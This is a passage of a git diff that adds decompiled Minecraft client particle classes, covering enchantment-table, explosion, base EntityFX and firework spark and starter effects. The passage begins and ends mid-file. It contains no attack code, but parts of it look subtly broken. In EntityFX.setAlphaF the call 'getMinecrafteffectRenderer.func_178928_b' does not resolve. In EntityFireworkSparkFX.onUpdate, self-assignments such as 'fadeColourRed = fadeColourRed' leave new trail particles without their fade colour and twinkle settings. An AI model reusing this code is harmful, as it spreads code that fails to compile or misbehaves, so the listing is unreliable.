+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityDropParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, Material.water);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityEnchantmentTableParticleFX.java b/src/minecraft/net/minecraft/client/particle/EntityEnchantmentTableParticleFX.java
new file mode 100644
index 0000000..02b4272
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityEnchantmentTableParticleFX.java
@@ -0,0 +1,97 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.world.World;
+
+public class EntityEnchantmentTableParticleFX extends EntityFX
+{
+  private float field_70565_a;
+  private double field_70568_aq;
+  private double field_70567_ar;
+  private double field_70566_as;
+  private static final String __OBFID = "CL_00000902";
+  
+  protected EntityEnchantmentTableParticleFX(World worldIn, double p_i1204_2_, double p_i1204_4_, double p_i1204_6_, double p_i1204_8_, double p_i1204_10_, double p_i1204_12_)
+  {
+    super(worldIn, p_i1204_2_, p_i1204_4_, p_i1204_6_, p_i1204_8_, p_i1204_10_, p_i1204_12_);
+    motionX = p_i1204_8_;
+    motionY = p_i1204_10_;
+    motionZ = p_i1204_12_;
+    field_70568_aq = p_i1204_2_;
+    field_70567_ar = p_i1204_4_;
+    field_70566_as = p_i1204_6_;
+    posX = (this.prevPosX = p_i1204_2_ + p_i1204_8_);
+    posY = (this.prevPosY = p_i1204_4_ + p_i1204_10_);
+    posZ = (this.prevPosZ = p_i1204_6_ + p_i1204_12_);
+    float var14 = rand.nextFloat() * 0.6F + 0.4F;
+    field_70565_a = (this.particleScale = rand.nextFloat() * 0.5F + 0.2F);
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F * var14);
+    particleGreen *= 0.9F;
+    particleRed *= 0.9F;
+    particleMaxAge = ((int)(Math.random() * 10.0D) + 30);
+    noClip = true;
+    setParticleTextureIndex((int)(Math.random() * 26.0D + 1.0D + 224.0D));
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    int var2 = super.getBrightnessForRender(p_70070_1_);
+    float var3 = particleAge / particleMaxAge;
+    var3 *= var3;
+    var3 *= var3;
+    int var4 = var2 & 0xFF;
+    int var5 = var2 >> 16 & 0xFF;
+    var5 += (int)(var3 * 15.0F * 16.0F);
+    
+    if (var5 > 240)
+    {
+      var5 = 240;
+    }
+    
+    return var4 | var5 << 16;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    float var2 = super.getBrightness(p_70013_1_);
+    float var3 = particleAge / particleMaxAge;
+    var3 *= var3;
+    var3 *= var3;
+    return var2 * (1.0F - var3) + var3;
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    float var1 = particleAge / particleMaxAge;
+    var1 = 1.0F - var1;
+    float var2 = 1.0F - var1;
+    var2 *= var2;
+    var2 *= var2;
+    posX = (field_70568_aq + motionX * var1);
+    posY = (field_70567_ar + motionY * var1 - var2 * 1.2F);
+    posZ = (field_70566_as + motionZ * var1);
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+  }
+  
+  public static class EnchantmentTable implements IParticleFactory {
+    private static final String __OBFID = "CL_00002605";
+    
+    public EnchantmentTable() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityEnchantmentTableParticleFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityExplodeFX.java b/src/minecraft/net/minecraft/client/particle/EntityExplodeFX.java
new file mode 100644
index 0000000..f31466c
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityExplodeFX.java
@@ -0,0 +1,57 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+
+public class EntityExplodeFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000903";
+  
+  protected EntityExplodeFX(net.minecraft.world.World worldIn, double p_i1205_2_, double p_i1205_4_, double p_i1205_6_, double p_i1205_8_, double p_i1205_10_, double p_i1205_12_)
+  {
+    super(worldIn, p_i1205_2_, p_i1205_4_, p_i1205_6_, p_i1205_8_, p_i1205_10_, p_i1205_12_);
+    motionX = (p_i1205_8_ + (Math.random() * 2.0D - 1.0D) * 0.05000000074505806D);
+    motionY = (p_i1205_10_ + (Math.random() * 2.0D - 1.0D) * 0.05000000074505806D);
+    motionZ = (p_i1205_12_ + (Math.random() * 2.0D - 1.0D) * 0.05000000074505806D);
+    particleRed = (this.particleGreen = this.particleBlue = rand.nextFloat() * 0.3F + 0.7F);
+    particleScale = (rand.nextFloat() * rand.nextFloat() * 6.0F + 1.0F);
+    particleMaxAge = ((int)(16.0D / (rand.nextFloat() * 0.8D + 0.2D)) + 2);
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    setParticleTextureIndex(7 - particleAge * 8 / particleMaxAge);
+    motionY += 0.004D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.8999999761581421D;
+    motionY *= 0.8999999761581421D;
+    motionZ *= 0.8999999761581421D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public static class Factory implements IParticleFactory {
+    private static final String __OBFID = "CL_00002604";
+    
+    public Factory() {}
+    
+    public EntityFX func_178902_a(int p_178902_1_, net.minecraft.world.World worldIn, double p_178902_3_, double p_178902_5_, double p_178902_7_, double p_178902_9_, double p_178902_11_, double p_178902_13_, int... p_178902_15_) {
+      return new EntityExplodeFX(worldIn, p_178902_3_, p_178902_5_, p_178902_7_, p_178902_9_, p_178902_11_, p_178902_13_);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFX.java b/src/minecraft/net/minecraft/client/particle/EntityFX.java
new file mode 100644
index 0000000..4dcd782
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFX.java
@@ -0,0 +1,260 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.client.renderer.texture.TextureAtlasSprite;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class EntityFX
+  extends Entity
+{
+  protected int particleTextureIndexX;
+  protected int particleTextureIndexY;
+  protected float particleTextureJitterX;
+  protected float particleTextureJitterY;
+  protected int particleAge;
+  protected int particleMaxAge;
+  protected float particleScale;
+  protected float particleGravity;
+  protected float particleRed;
+  protected float particleGreen;
+  protected float particleBlue;
+  protected float particleAlpha;
+  protected TextureAtlasSprite particleIcon;
+  public static double interpPosX;
+  public static double interpPosY;
+  public static double interpPosZ;
+  private static final String __OBFID = "CL_00000914";
+  
+  protected EntityFX(World worldIn, double p_i46352_2_, double p_i46352_4_, double p_i46352_6_)
+  {
+    super(worldIn);
+    particleAlpha = 1.0F;
+    setSize(0.2F, 0.2F);
+    setPosition(p_i46352_2_, p_i46352_4_, p_i46352_6_);
+    lastTickPosX = p_i46352_2_;
+    lastTickPosY = p_i46352_4_;
+    lastTickPosZ = p_i46352_6_;
+    particleRed = (this.particleGreen = this.particleBlue = 1.0F);
+    particleTextureJitterX = (rand.nextFloat() * 3.0F);
+    particleTextureJitterY = (rand.nextFloat() * 3.0F);
+    particleScale = ((rand.nextFloat() * 0.5F + 0.5F) * 2.0F);
+    particleMaxAge = ((int)(4.0F / (rand.nextFloat() * 0.9F + 0.1F)));
+    particleAge = 0;
+  }
+  
+  public EntityFX(World worldIn, double p_i1219_2_, double p_i1219_4_, double p_i1219_6_, double p_i1219_8_, double p_i1219_10_, double p_i1219_12_)
+  {
+    this(worldIn, p_i1219_2_, p_i1219_4_, p_i1219_6_);
+    motionX = (p_i1219_8_ + (Math.random() * 2.0D - 1.0D) * 0.4000000059604645D);
+    motionY = (p_i1219_10_ + (Math.random() * 2.0D - 1.0D) * 0.4000000059604645D);
+    motionZ = (p_i1219_12_ + (Math.random() * 2.0D - 1.0D) * 0.4000000059604645D);
+    float var14 = (float)(Math.random() + Math.random() + 1.0D) * 0.15F;
+    float var15 = MathHelper.sqrt_double(motionX * motionX + motionY * motionY + motionZ * motionZ);
+    motionX = (motionX / var15 * var14 * 0.4000000059604645D);
+    motionY = (motionY / var15 * var14 * 0.4000000059604645D + 0.10000000149011612D);
+    motionZ = (motionZ / var15 * var14 * 0.4000000059604645D);
+  }
+  
+  public EntityFX multiplyVelocity(float p_70543_1_)
+  {
+    motionX *= p_70543_1_;
+    motionY = ((motionY - 0.10000000149011612D) * p_70543_1_ + 0.10000000149011612D);
+    motionZ *= p_70543_1_;
+    return this;
+  }
+  
+  public EntityFX multipleParticleScaleBy(float p_70541_1_)
+  {
+    setSize(0.2F * p_70541_1_, 0.2F * p_70541_1_);
+    particleScale *= p_70541_1_;
+    return this;
+  }
+  
+  public void setRBGColorF(float p_70538_1_, float p_70538_2_, float p_70538_3_)
+  {
+    particleRed = p_70538_1_;
+    particleGreen = p_70538_2_;
+    particleBlue = p_70538_3_;
+  }
+  
+
+
+
+  public void setAlphaF(float p_82338_1_)
+  {
+    if ((particleAlpha == 1.0F) && (p_82338_1_ < 1.0F))
+    {
+      getMinecrafteffectRenderer.func_178928_b(this);
+    }
+    else if ((particleAlpha < 1.0F) && (p_82338_1_ == 1.0F))
+    {
+      getMinecrafteffectRenderer.func_178931_c(this);
+    }
+    
+    particleAlpha = p_82338_1_;
+  }
+  
+  public float getRedColorF()
+  {
+    return particleRed;
+  }
+  
+  public float getGreenColorF()
+  {
+    return particleGreen;
+  }
+  
+  public float getBlueColorF()
+  {
+    return particleBlue;
+  }
+  
+  public float func_174838_j()
+  {
+    return particleAlpha;
+  }
+  
+
+
+
+
+  protected boolean canTriggerWalking()
+  {
+    return false;
+  }
+  
+
+
+  protected void entityInit() {}
+  
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    motionY -= 0.04D * particleGravity;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9800000190734863D;
+    motionY *= 0.9800000190734863D;
+    motionZ *= 0.9800000190734863D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = particleTextureIndexX / 16.0F;
+    float var10 = var9 + 0.0624375F;
+    float var11 = particleTextureIndexY / 16.0F;
+    float var12 = var11 + 0.0624375F;
+    float var13 = 0.1F * particleScale;
+    
+    if (particleIcon != null)
+    {
+      var9 = particleIcon.getMinU();
+      var10 = particleIcon.getMaxU();
+      var11 = particleIcon.getMinV();
+      var12 = particleIcon.getMaxV();
+    }
+    
+    float var14 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+    float var15 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+    float var16 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+    p_180434_1_.func_178960_a(particleRed, particleGreen, particleBlue, particleAlpha);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 - p_180434_6_ * var13 - p_180434_8_ * var13, var10, var12);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 - p_180434_6_ * var13 + p_180434_8_ * var13, var10, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 + p_180434_6_ * var13 + p_180434_8_ * var13, var9, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 + p_180434_6_ * var13 - p_180434_8_ * var13, var9, var12);
+  }
+  
+  public int getFXLayer()
+  {
+    return 0;
+  }
+  
+
+
+  public void writeEntityToNBT(NBTTagCompound tagCompound) {}
+  
+
+
+  public void readEntityFromNBT(NBTTagCompound tagCompund) {}
+  
+
+
+  public void func_180435_a(TextureAtlasSprite p_180435_1_)
+  {
+    int var2 = getFXLayer();
+    
+    if (var2 == 1)
+    {
+      particleIcon = p_180435_1_;
+    }
+    else
+    {
+      throw new RuntimeException("Invalid call to Particle.setTex, use coordinate methods");
+    }
+  }
+  
+
+
+
+  public void setParticleTextureIndex(int p_70536_1_)
+  {
+    if (getFXLayer() != 0)
+    {
+      throw new RuntimeException("Invalid call to Particle.setMiscTex");
+    }
+    
+
+    particleTextureIndexX = (p_70536_1_ % 16);
+    particleTextureIndexY = (p_70536_1_ / 16);
+  }
+  
+
+  public void nextTextureIndexX()
+  {
+    particleTextureIndexX += 1;
+  }
+  
+
+
+
+  public boolean canAttackWithItem()
+  {
+    return false;
+  }
+  
+  public String toString()
+  {
+    return getClass().getSimpleName() + ", Pos (" + posX + "," + posY + "," + posZ + "), RGBA (" + particleRed + "," + particleGreen + "," + particleBlue + "," + particleAlpha + "), Age " + particleAge;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFireworkOverlayFX.java b/src/minecraft/net/minecraft/client/particle/EntityFireworkOverlayFX.java
new file mode 100644
index 0000000..b26e5c7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFireworkOverlayFX.java
@@ -0,0 +1,35 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityFireworkOverlayFX extends EntityFX
+{
+  private static final String __OBFID = "CL_00000904";
+  
+  protected EntityFireworkOverlayFX(World worldIn, double p_i46357_2_, double p_i46357_4_, double p_i46357_6_)
+  {
+    super(worldIn, p_i46357_2_, p_i46357_4_, p_i46357_6_);
+    particleMaxAge = 4;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    float var9 = 0.25F;
+    float var10 = var9 + 0.25F;
+    float var11 = 0.125F;
+    float var12 = var11 + 0.25F;
+    float var13 = 7.1F * MathHelper.sin((particleAge + p_180434_3_ - 1.0F) * 0.25F * 3.1415927F);
+    particleAlpha = (0.6F - (particleAge + p_180434_3_ - 1.0F) * 0.25F * 0.5F);
+    float var14 = (float)(prevPosX + (posX - prevPosX) * p_180434_3_ - interpPosX);
+    float var15 = (float)(prevPosY + (posY - prevPosY) * p_180434_3_ - interpPosY);
+    float var16 = (float)(prevPosZ + (posZ - prevPosZ) * p_180434_3_ - interpPosZ);
+    p_180434_1_.func_178960_a(particleRed, particleGreen, particleBlue, particleAlpha);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 - p_180434_6_ * var13 - p_180434_8_ * var13, var10, var12);
+    p_180434_1_.addVertexWithUV(var14 - p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 - p_180434_6_ * var13 + p_180434_8_ * var13, var10, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 + p_180434_7_ * var13, var15 + p_180434_5_ * var13, var16 + p_180434_6_ * var13 + p_180434_8_ * var13, var9, var11);
+    p_180434_1_.addVertexWithUV(var14 + p_180434_4_ * var13 - p_180434_7_ * var13, var15 - p_180434_5_ * var13, var16 + p_180434_6_ * var13 - p_180434_8_ * var13, var9, var12);
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFireworkSparkFX.java b/src/minecraft/net/minecraft/client/particle/EntityFireworkSparkFX.java
new file mode 100644
index 0000000..9cf39d7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFireworkSparkFX.java
@@ -0,0 +1,154 @@
+package net.minecraft.client.particle;
+
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.util.AxisAlignedBB;
+import net.minecraft.world.World;
+
+public class EntityFireworkSparkFX extends EntityFX
+{
+  private int baseTextureIndex = 160;
+  private boolean field_92054_ax;
+  private boolean field_92048_ay;
+  private final EffectRenderer field_92047_az;
+  private float fadeColourRed;
+  private float fadeColourGreen;
+  private float fadeColourBlue;
+  private boolean hasFadeColour;
+  private static final String __OBFID = "CL_00000905";
+  
+  public EntityFireworkSparkFX(World worldIn, double p_i46356_2_, double p_i46356_4_, double p_i46356_6_, double p_i46356_8_, double p_i46356_10_, double p_i46356_12_, EffectRenderer p_i46356_14_)
+  {
+    super(worldIn, p_i46356_2_, p_i46356_4_, p_i46356_6_);
+    motionX = p_i46356_8_;
+    motionY = p_i46356_10_;
+    motionZ = p_i46356_12_;
+    field_92047_az = p_i46356_14_;
+    particleScale *= 0.75F;
+    particleMaxAge = (48 + rand.nextInt(12));
+    noClip = false;
+  }
+  
+  public void setTrail(boolean p_92045_1_)
+  {
+    field_92054_ax = p_92045_1_;
+  }
+  
+  public void setTwinkle(boolean p_92043_1_)
+  {
+    field_92048_ay = p_92043_1_;
+  }
+  
+  public void setColour(int p_92044_1_)
+  {
+    float var2 = ((p_92044_1_ & 0xFF0000) >> 16) / 255.0F;
+    float var3 = ((p_92044_1_ & 0xFF00) >> 8) / 255.0F;
+    float var4 = ((p_92044_1_ & 0xFF) >> 0) / 255.0F;
+    float var5 = 1.0F;
+    setRBGColorF(var2 * var5, var3 * var5, var4 * var5);
+  }
+  
+  public void setFadeColour(int p_92046_1_)
+  {
+    fadeColourRed = (((p_92046_1_ & 0xFF0000) >> 16) / 255.0F);
+    fadeColourGreen = (((p_92046_1_ & 0xFF00) >> 8) / 255.0F);
+    fadeColourBlue = (((p_92046_1_ & 0xFF) >> 0) / 255.0F);
+    hasFadeColour = true;
+  }
+  
+
+
+
+  public AxisAlignedBB getBoundingBox()
+  {
+    return null;
+  }
+  
+
+
+
+  public boolean canBePushed()
+  {
+    return false;
+  }
+  
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_)
+  {
+    if ((!field_92048_ay) || (particleAge < particleMaxAge / 3) || ((particleAge + particleMaxAge) / 3 % 2 == 0))
+    {
+      super.func_180434_a(p_180434_1_, p_180434_2_, p_180434_3_, p_180434_4_, p_180434_5_, p_180434_6_, p_180434_7_, p_180434_8_);
+    }
+  }
+  
+
+
+
+  public void onUpdate()
+  {
+    prevPosX = posX;
+    prevPosY = posY;
+    prevPosZ = posZ;
+    
+    if (particleAge++ >= particleMaxAge)
+    {
+      setDead();
+    }
+    
+    if (particleAge > particleMaxAge / 2)
+    {
+      setAlphaF(1.0F - (particleAge - particleMaxAge / 2) / particleMaxAge);
+      
+      if (hasFadeColour)
+      {
+        particleRed += (fadeColourRed - particleRed) * 0.2F;
+        particleGreen += (fadeColourGreen - particleGreen) * 0.2F;
+        particleBlue += (fadeColourBlue - particleBlue) * 0.2F;
+      }
+    }
+    
+    setParticleTextureIndex(baseTextureIndex + (7 - particleAge * 8 / particleMaxAge));
+    motionY -= 0.004D;
+    moveEntity(motionX, motionY, motionZ);
+    motionX *= 0.9100000262260437D;
+    motionY *= 0.9100000262260437D;
+    motionZ *= 0.9100000262260437D;
+    
+    if (onGround)
+    {
+      motionX *= 0.699999988079071D;
+      motionZ *= 0.699999988079071D;
+    }
+    
+    if ((field_92054_ax) && (particleAge < particleMaxAge / 2) && ((particleAge + particleMaxAge) % 2 == 0))
+    {
+      EntityFireworkSparkFX var1 = new EntityFireworkSparkFX(worldObj, posX, posY, posZ, 0.0D, 0.0D, 0.0D, field_92047_az);
+      var1.setAlphaF(0.99F);
+      var1.setRBGColorF(particleRed, particleGreen, particleBlue);
+      particleAge = (particleMaxAge / 2);
+      
+      if (hasFadeColour)
+      {
+        hasFadeColour = true;
+        fadeColourRed = fadeColourRed;
+        fadeColourGreen = fadeColourGreen;
+        fadeColourBlue = fadeColourBlue;
+      }
+      
+      field_92048_ay = field_92048_ay;
+      field_92047_az.addEffect(var1);
+    }
+  }
+  
+  public int getBrightnessForRender(float p_70070_1_)
+  {
+    return 15728880;
+  }
+  
+
+
+
+  public float getBrightness(float p_70013_1_)
+  {
+    return 1.0F;
+  }
+}
diff --git a/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX.java b/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX.java
new file mode 100644
index 0000000..e1d55b7
--- /dev/null
+++ b/src/minecraft/net/minecraft/client/particle/EntityFireworkStarterFX.java
@@ -0,0 +1,273 @@
+package net.minecraft.client.particle;
+
+import java.util.Random;
+import net.minecraft.client.Minecraft;
+import net.minecraft.client.renderer.WorldRenderer;
+import net.minecraft.entity.Entity;
+import net.minecraft.nbt.NBTTagCompound;
+import net.minecraft.nbt.NBTTagList;
+import net.minecraft.util.MathHelper;
+import net.minecraft.world.World;
+
+public class EntityFireworkStarterFX extends EntityFX
+{
+  private int fireworkAge;
+  private final EffectRenderer theEffectRenderer;
+  private NBTTagList fireworkExplosions;
+  boolean twinkle;
+  private static final String __OBFID = "CL_00000906";
+  
+  public EntityFireworkStarterFX(World worldIn, double p_i46355_2_, double p_i46355_4_, double p_i46355_6_, double p_i46355_8_, double p_i46355_10_, double p_i46355_12_, EffectRenderer p_i46355_14_, NBTTagCompound p_i46355_15_)
+  {
+    super(worldIn, p_i46355_2_, p_i46355_4_, p_i46355_6_, 0.0D, 0.0D, 0.0D);
+    motionX = p_i46355_8_;
+    motionY = p_i46355_10_;
+    motionZ = p_i46355_12_;
+    theEffectRenderer = p_i46355_14_;
+    particleMaxAge = 8;
+    
+    if (p_i46355_15_ != null)
+    {
+      fireworkExplosions = p_i46355_15_.getTagList("Explosions", 10);
+      
+      if (fireworkExplosions.tagCount() == 0)
+      {
+        fireworkExplosions = null;
+      }
+      else
+      {
+        particleMaxAge = (fireworkExplosions.tagCount() * 2 - 1);
+        
+        for (int var16 = 0; var16 < fireworkExplosions.tagCount(); var16++)
+        {
+          NBTTagCompound var17 = fireworkExplosions.getCompoundTagAt(var16);
+          
+          if (var17.getBoolean("Flicker"))
+          {
+            twinkle = true;
+            particleMaxAge += 15;
+            break;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+  public void func_180434_a(WorldRenderer p_180434_1_, Entity p_180434_2_, float p_180434_3_, float p_180434_4_, float p_180434_5_, float p_180434_6_, float p_180434_7_, float p_180434_8_) {}
+  
+
+
+  public void onUpdate()
+  {
+    if ((fireworkAge == 0) && (fireworkExplosions != null))
+    {
+      boolean var1 = func_92037_i();
+      boolean var2 = false;
+      
+      if (fireworkExplosions.tagCount() >= 3)
+      {
+        var2 = true;
+      }
+      else
+      {
+        for (int var3 = 0; var3 < fireworkExplosions.tagCount(); var3++)
+        {
+          NBTTagCompound var4 = fireworkExplosions.getCompoundTagAt(var3);
+          
+          if (var4.getByte("Type") == 1)
+          {
+            var2 = true;
+            break;
+          }
+        }
+      }
+      
+      String var16 = "fireworks." + (var2 ? "largeBlast" : "blast") + (var1 ? "_far" : "");
+      worldObj.playSound(posX, posY, posZ, var16, 20.0F, 0.95F + rand.nextFloat() * 0.1F, true);
+    }
+    
+    if ((fireworkAge % 2 == 0) && (fireworkExplosions != null) && (fireworkAge / 2 < fireworkExplosions.tagCount()))
+    {
+      int var13 = fireworkAge / 2;
+      NBTTagCompound var14 = fireworkExplosions.getCompoundTagAt(var13);
+      byte var17 = var14.getByte("Type");
+      boolean var18 = var14.getBoolean("Trail");
+      boolean var5 = var14.getBoolean("Flicker");
+      int[] var6 = var14.getIntArray("Colors");
+      int[] var7 = var14.getIntArray("FadeColors");
+      
+      if (var6.length == 0)
+      {
+        var6 = new int[] { net.minecraft.item.ItemDye.dyeColors[0] };
+      }
+      
+      if (var17 == 1)
+      {
+        createBall(0.5D, 4, var6, var7, var18, var5);
+      }
+      else if (var17 == 2)
+      {
+        createShaped(0.5D, new double[][] { { 0.0D, 1.0D }, { 0.3455D, 0.309D }, { 0.9511D, 0.309D }, { 0.3795918367346939D, -0.12653061224489795D }, { 0.6122448979591837D, -0.8040816326530612D }, { 0.0D, -0.35918367346938773D } }, var6, var7, var18, var5, false);
+      }
+      else if (var17 == 3)
+      {
+        createShaped(0.5D, new double[][] { { 0.0D, 0.2D }, { 0.2D, 0.2D }, { 0.2D, 0.6D }, { 0.6D, 0.6D }, { 0.6D, 0.2D }, { 0.2D, 0.2D }, { 0.2D, 0.0D }, { 0.4D, 0.0D }, { 0.4D, -0.6D }, { 0.2D, -0.6D }, { 0.2D, -0.4D }, { 0.0D, -0.4D } }, var6, var7, var18, var5, true);
+      }
+      else if (var17 == 4)
+      {
+        createBurst(var6, var7, var18, var5);
+      }
+      else
+      {
+        createBall(0.25D, 2, var6, var7, var18, var5);
+      }
+      
+      int var8 = var6[0];
+      float var9 = ((var8 & 0xFF0000) >> 16) / 255.0F;
+      float var10 = ((var8 & 0xFF00) >> 8) / 255.0F;
+      float var11 = ((var8 & 0xFF) >> 0) / 255.0F;
+      EntityFireworkOverlayFX var12 = new EntityFireworkOverlayFX(worldObj, posX, posY, posZ);
+      var12.setRBGColorF(var9, var10, var11);
+      theEffectRenderer.addEffect(var12);
+    }
+    
+    fireworkAge += 1;
+    
+    if (fireworkAge > particleMaxAge)
+    {
+      if (twinkle)
+      {
+        boolean var1 = func_92037_i();
+        String var15 = "fireworks." + (var1 ? "twinkle_far" : "twinkle");
+        worldObj.playSound(posX, posY, posZ, var15, 20.0F, 0.9F + rand.nextFloat() * 0.15F, true);
+      }
+      
+      setDead();
+    }
+  }
+  
+  private boolean func_92037_i()
+  {
+    Minecraft var1 = Minecraft.getMinecraft();
+    return (var1 == null) || (var1.func_175606_aa() == null) || (var1.func_175606_aa().getDistanceSq(posX, posY, posZ) >= 256.0D);
+  }
+  
+
+
+
+
+  private void createParticle(double p_92034_1_, double p_92034_3_, double p_92034_5_, double p_92034_7_, double p_92034_9_, double p_92034_11_, int[] p_92034_13_, int[] p_92034_14_, boolean p_92034_15_, boolean p_92034_16_)
+  {
+    EntityFireworkSparkFX var17 = new EntityFireworkSparkFX(worldObj, p_92034_1_, p_92034_3_, p_92034_5_, p_92034_7_, p_92034_9_, p_92034_11_, theEffectRenderer);
+    var17.setAlphaF(0.99F);
+    var17.setTrail(p_92034_15_);
+    var17.setTwinkle(p_92034_16_);
+    int var18 = rand.nextInt(p_92034_13_.length);
+    var17.setColour(p_92034_13_[var18]);
+    
+    if ((p_92034_14_ != null) && (p_92034_14_.length > 0))
+    {
+      var17.setFadeColour(p_92034_14_[rand.nextInt(p_92034_14_.length)]);
+    }
+    
+    theEffectRenderer.addEffect(var17);
+  }
+  
+
+
+
+
+  private void createBall(double p_92035_1_, int p_92035_3_, int[] p_92035_4_, int[] p_92035_5_, boolean p_92035_6_, boolean p_92035_7_)
+  {
+    double var8 = posX;
+    double var10 = posY;
+    double var12 = posZ;
+    
+    for (int var14 = -p_92035_3_; var14 <= p_92035_3_; var14++)
+    {
+      for (int var15 = -p_92035_3_; var15 <= p_92035_3_; var15++)
+      {
+        for (int var16 = -p_92035_3_; var16 <= p_92035_3_; var16++)
+        {
+          double var17 = var15 + (rand.nextDouble() - rand.nextDouble()) * 0.5D;
+          double var19 = var14 + (rand.nextDouble() - rand.nextDouble()) * 0.5D;
+          double var21 = var16 + (rand.nextDouble() - rand.nextDouble()) * 0.5D;
+          double var23 = MathHelper.sqrt_double(var17 * var17 + var19 * var19 + var21 * var21) / p_92035_1_ + rand.nextGaussian() * 0.05D;
+          createParticle(var8, var10, var12, var17 / var23, var19 / var23, var21 / var23, p_92035_4_, p_92035_5_, p_92035_6_, p_92035_7_);
+          
+          if ((var14 != -p_92035_3_) && (var14 != p_92035_3_) && (var15 != -p_92035_3_) && (var15 != p_92035_3_))
+          {
+            var16 += p_92035_3_ * 2 - 1;
+          }
+        }
+      }
+    }
+  }
+  
+
+
+
+
+  private void createShaped(double p_92038_1_, double[][] p_92038_3_, int[] p_92038_4_, int[] p_92038_5_, boolean p_92038_6_, boolean p_92038_7_, boolean p_92038_8_)
+  {
+    double var9 = p_92038_3_[0][0];
+    double var11 = p_92038_3_[0][1];
+    createParticle(posX, posY, posZ, var9 * p_92038_1_, var11 * p_92038_1_, 0.0D, p_92038_4_, p_92038_5_, p_92038_6_, p_92038_7_);
+    float var13 = rand.nextFloat() * 3.1415927F;
+    double var14 = p_92038_8_ ? 0.034D : 0.34D;
+    
+    for (int var16 = 0; var16 < 3; var16++)
+    {
+      double var17 = var13 + var16 * 3.1415927F * var14;
+      double var19 = var9;
+      double var21 = var11;
+      
+      for (int var23 = 1; var23 < p_92038_3_.length; var23++)
+      {
+        double var24 = p_92038_3_[var23][0];
